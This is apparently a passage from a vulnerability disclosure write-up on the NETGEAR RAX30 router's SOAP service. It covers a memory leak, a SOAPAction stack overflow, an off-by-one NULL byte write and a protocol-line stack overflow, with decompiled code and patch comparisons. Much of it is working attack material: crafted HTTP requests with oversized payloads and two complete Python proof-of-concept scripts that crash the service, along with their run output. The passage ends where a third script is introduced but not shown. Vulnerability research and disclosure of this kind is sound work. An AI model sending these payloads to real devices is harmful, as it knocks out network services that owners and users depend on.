└─$ python3 soap_cat_memory_leak.py --domain 192.168.1.1 --port 5043 Sending large buffer... Triggering leak... Leaked data: a8 c8 d7 be 01 Stack Pointer: 0xbed7c8a8 Stack: 0xbed5f000-0xbed80000
The patch clears any existing data in the response
variable by setting all bytes to zero using memset[1]. Although
strncat
is still used, it will function like
strncpy
as the buffer begins with a NULL byte.
void writeHttpResponse(UnkArg *param_1, int httpCode, char *httpCodeStr, int param_4, char *message) { size_t responseLen; char buffer [128]; char response [1024]; memset(response, 0, 1024); // [1] memset(buffer, 0, 128); _writeHttpHeaders(httpCode, httpCodeStr, param_4, "text/html"); memset(buffer, 0, 0x80); __snprintf_chk(buffer, 0x80, 1, 0x80, "<HTML><HEAD><TITLE>%d %s</TITLE></HEAD>\n<BODY BGCOLOR=\"#cc9999\"><H4>%d %s</H4>\ n", httpCode, httpCodeStr, httpCode, httpCodeStr); strncat(response, buffer, 0x80); memset(buffer, 0, 0x80); __snprintf_chk(buffer, 0x80, 1, 0x80, "%s\n", message); strncat(response, buffer, 0x80); memset(buffer, 0, 0x80); __snprintf_chk(buffer, 0x80, 1, 0x80, "<HR>\n<ADDRESS><A HREF=\"%s\">%s</A></ADDRESS>\n</BODY></HTML>\n", "http://schemas.xmlsoap.org/soap/encoding/", "\"OS/version\" UPnP/1.0 \"product/version\""); strncat(response, buffer, 0x80); responseLen = strlen(response); __fprintf_chk(param_1->file, 1, response, responseLen); return; }
The vulnerability existed within the soap_response
(0x006A9C
) function which handled sending the SOAP response
to the API request. This function allocated a buffer of 2048 bytes on
the stack for the response XML string. The value provided after “#” in
the SOAPAction
header such as #Hello
was then
appended to an XML response tag, resulting in
<m:HelloResponse...></m:HelloResponse>
. The
developers did not consider the scenario where the
SOAPAction
value was large as the output response was
doubled for a large request due to being inserted in the opening and
closing XML tag. Additionally, the insecure functions
strcpy
, strcat
and sprintf
were
used extensively within this function.
The size of the standard response was approximately 264 bytes without
the SOAPAction
input before the overflow occurs. Given a
SOAPAction
input of 900, we can determine the approximate
buffer size of 2064 bytes ((900 * 2) + 264). Thus, the buffer overflows
by approximately 16 bytes.
The overflow was triggered in function soap_response
(0x006A9C
) in various function calls such as
strcpy
and spritnf
depending on the size of
the SOAPAction
value as shown in the following code
snippet:
void soap_response(undefined4 param_1,char *soapActionValue,undefined4 param_3,undefined4 *param_4, int para,char *result) { int iVar9; char *local_58; char *local_54; int i = -(iVar9 + 0x807U 0xfffffff8); char* __dest_01 = (char *)((int) local_58 + i); char* pcVar7 = stack0x0000008d + i; memset(__dest_01,0,iVar9 + 0x800); strcpy(__dest_01, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<soap-env:Envelope\r\n xmlns:soap-env =\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n soap-env:encodingStyle=\"http://s chemas.xmlsoap.org/soap/encoding/\">\r\n<soap-env:Body>\r\n <m:"); int offset = sprintf(pcVar7,"%s",soapActionValue); // Copy SOAPAction value for the first time pcVar7 = pcVar7 + offset; char* pcVar8 = pcVar7 + 0x36; strcpy(pcVar7,"Response\r\n xmlns:m=\"urn:NETGEAR-ROUTER:service:"); // Append hard-coded XML string to buffer offset = sprintf(pcVar8,"%s",local_54); char* __dest = pcVar8 + offset + 6; strcpy(pcVar8 + offset,":1\">\r\n"); // Append hard-coded XML string to buffer local_54 = DAT_0004012b; pcVar7 = " <%s>%s</%s>\r\n"; ... strcpy(__dest," </m:"); // Append hard-coded XML string to buffer offset = sprintf(__dest + 8,"%s",soapActionValue); // Copy SOAPAction value for the second time pcVar7 = __dest + 8 + offset; strcpy(pcVar7,"Response>\r\n"); // Append hard-coded XML string to buffer ... }
The following request was unauthenticated and caused the binary to
crash within sprintf
from a corrupted stack due to the
overflow of the SOAPAction
header.
POST /soap/server_sa/ HTTP/1.1 User-Agent: ksoap2-android/2.6.0+ SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Content-Type: text/xml;charset=utf-8 Accept-Encoding: gzip, deflate Connection: close Content-Length: 416 Host: routerlogin.net:5043 <!--?xml version="1.0" encoding= "UTF-8" ?--><v:Envelope xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:d="http://www.w3.org/2001/XMLSchema" xmlns:c="http://schemas.xmlsoap.org/soap/encoding/" xmlns:v="http://schemas.xmlsoap.org/soap/envelope/"><v:Header><SessionId></SessionId></v:Header><v:Body><n0:GetInfo xmlns:n0="urn:NETGEAR-ROUTER:service:DeviceInfo:1" /></v:Body></v:Envelope>
The following proof of concept Python3 script (soap_action_overflow.py) triggers the stack buffer overflow on firmware version v1.0.7.78, causing the service to crash.
#!/usr/bin/env python3 import argparse import requests import urllib3 if __name__ == "__main__": urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) parser = argparse.ArgumentParser(description='Crash soap_serverd binary on NETGEAR RAX30 router from a response buffer overflow.') parser.add_argument('--domain', default='routerlogin.net', help='The NETGEAR router domain.') parser.add_argument('--port', default=5043, type=int, help='The router soap server port.') args = parser.parse_args() payload = 'A' * 900 headers = { 'User-Agent': 'ksoap2-android/2.6.0+', 'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#' + payload, 'Content-Type': 'text/xml;charset=utf-8', } xml = """ <!--?xml version="1.0" encoding= "UTF-8" ?--> <v:Envelope xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:d="http://www.w3.org/2001/XMLSchema" xmlns:c="http://schemas.xmlsoap.org/soap/encoding/" xmlns:v="http://schemas.xmlsoap.org/soap/envelope/"> <v:Header> <SessionId></SessionId> </v:Header> <v:Body> <n0:GetInfo xmlns:n0="urn:NETGEAR-ROUTER:service:DeviceInfo:1" /> </v:Body> </v:Envelope> """ try: print('Sending payload...') requests.post('https://' + args.domain + ':' + str(args.port) + '/soap/server_sa/', data=xml, headers=headers, verify=False) print('Payload failed to crash server.') except requests.exceptions.ConnectionError as e: if 'Remote end closed connection' in str(e): print('Payload crashed server!') else: print(str(e))
The SOAP Action name length check was moved to occur before the
service_type switch statement in the soap_action
(0x016f78
) function. Previously, this name length check
only occured on an invalid service_type.
if (500 < actionNameLength) { _actionNameLength = cmsUtl_strlen(actionName); log_log(3,"soap_action",0x130,"The length of ac is too long, it may be a bug or an attack.\n ac=%s length=%d",actionName,_actionNameLength,iVar8); actionName = "SOAP_ActionName_Too_Long"; puVar6 = DAT_0004115e; pcVar1 = "soap_action"; goto LAB_000173c0; }
It should be noted however, the root cause of the vulnerability
within the soap_response
function was not patched in v1.0.9.92
therefore it may still be possible to overflow the response buffer if
other large attacker-controlled data can be introduced into the HTTP
response.
An off-by-one NULL terminator caused the stack canary to become
corrupt in the body
stack buffer of 2,048 bytes within the
handle_soapRequest
(0x000152f0
) function when
a body payload of 2,048 bytes was passed. The process proceeded to
terminate once the stack canary was corrupted with a stack smashing
detected error.
This can be seen in the following code snippet. The
handle_soapRequest
(0x000152f0
) function has a
stack body buffer of 2,048 bytes [9], which is filled within the
freadFile
(0x000181b4
) [10] [11] function when
a body of 2,048 bytes is processed. freadFile
returns the
length read [12] which is 2,048 and that is stored in the
bodyLength
variable [13]. A NULL terminator is then wrote
to bodyLength + 1
[14] which is 2,049 and therefore is
wrote 1 byte out of bounds and corrupts the stack canary.
int handle_soapRequest(char* ip) { char body [2048]; // <-- [9] Body stack buffer of 2048 bytes ... memset(body, 0, 2048); ... int bodyLength = freadFile(body); // <--- [10], [13] Data fills body buffer from HTPT request, body length is returned if (bodyLength > 0) { body[bodyLength + 1] = '\0'; // <-- [14] Out of bounds NULL byte write (bodyLength + 1 = 2049) soap_action(0,soapAction,body,ip); } ... } int freadFile(int param_1,char *buffer) { memset(buffer, 0, 2048); int readCount = fread(buffer, 1, 2048, *(FILE **)(param_1 + 0xc)); // <-- [11] Data fills buffer from HTTP request with 2048 bytes return readCount; // <-- [12] Number of bytes read from HTTP request (max readCount = 2048) }
The following HTTP request triggers the out of bounds NULL terminator write:
POST /soap/server_sa/ HTTP/1.1 User-Agent: ksoap2-android/2.6.0+ SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#A Content-Length: 2048 Host: 192.168.2.1:5043 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The following proof of concept script (soap_oob_null_write.py) can be executed to trigger the off-by-one out of bounds NULL byte stack canary corruption.
#!/usr/bin/env python3 import argparse import requests import urllib3 if __name__ == "__main__": urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) parser = argparse.ArgumentParser(description='Crash soap_serverd binary on NETGEAR RAX30 router with an OOB NULL byte.') parser.add_argument('--domain', default='routerlogin.net', help='The NETGEAR router domain.') parser.add_argument('--port', default=5043, type=int, help='The router soap server port.') args = parser.parse_args() # Trigger OOB NULL byte crash payload = 'A' * 2048 print('Sending payload...') requests.post('https://' + args.domain + ':' + str(args.port) + '/soap/server_sa/', data=payload, headers={ 'User-Agent': 'ksoap2-android/2.6.0+', 'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#A', }, verify=False) # Check we have crashed the SOAP service try: requests.post('https://' + args.domain + ':' + str(args.port) + '/soap/server_sa/', data='A', headers={ 'User-Agent': 'ksoap2-android/2.6.0+', 'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#A', }, verify=False) print('Payload failed to crash server.') except requests.exceptions.ConnectionError as e: if 'Connection refused' in str(e): print('Payload crashed server!') else: print(str(e))
On execution, the payload will be sent to the SOAP service and cause it to crash on vulnerable firmware versions.
└─$ python3 soap_oob_null_write.py --domain 192.168.1.1 --port 5043 Sending payload... Payload crashed server!
The patch changes the freadFile
function to accept the
buffer size as a variable instead of using the fixed size of 2048. It
then reads the data into this buffer at a length of the buffer size
minus one, which prevents the NULL terminator from being wrote out of
bounds.
int handle_soapRequest(char* ip) { char body [2048]; ... memset(body, 0, 2048); ... int bodyLength = _freadFile(body, 2048); if (bodyLength > 0) { body[bodyLength + 1] = '\0'; soap_action(0, soapAction, body, ip); } ... } int freadFile(int param_1, void *buffer, size_t bufferSize) { memset(buffer, 0, bufferSize); int readCount = fread(buffer, 1, bufferSize - 1, *(FILE **)(param_1 + 0xc)); return readCount; }
The handle_soapRequest
(0x000152f0
)
function is vulnerable to a classic stack overflow in the
protocol
buffer [15] when the provided protocol is greater
than 2048 bytes. Due to the stack layout, the overflow fills the
protocol
variable, followed by the soapAction
[16] and body
[17] buffers before overwriting the stack
canary. The _fgetsFile
(0x0018ef0
) function
call [18] retrieves the HTTP requests first line and stores it in
line
[19]. The protocol part of the line is then copied
[20] to the protocol buffer [15] and overflows when the length of
protocol exceeds the variable buffer size of 2048 bytes.
int handle_soapRequest(char *ip) { ... char line [2048]; // <--- [19] char method [2048]; char path [2048]; char protocol [2048]; // <--- [15] char soapAction [2048]; // <--- [16] char body [2048]; // <--- [17] ... memset(line, 0, 2048); memset(method, 0, 2048); memset(path, 0, 2048); memset(protocol, 0, 2048); ... int readCount = _fgetsFile(line); // <--- [18] ... int iVar1 = __isoc99_sscanf(line, "%[^ ] %[^ ] %[^ ]", method, path, protocol); // <--- [20] Overflow occurs when protocol exceeds 2048 bytes ... }
The following HTTP POST request demonstrates this vulnerability by
filling the protocol
buffer with 2,048 A
characters, the soapAction
with 2,048 B
characters, the body
with 2,048 C
characters
and finally the stack canary with 4 D
bytes.
POST /soap/server_sa/ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDD User-Agent: ksoap2-android/2.6.0+ SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#A Content-Length: 1 Host: 192.168.2.1:5043 A
The following proof of concept script (soap_protocol_overflow.py) can be executed to trigger the protocol stack overflow.
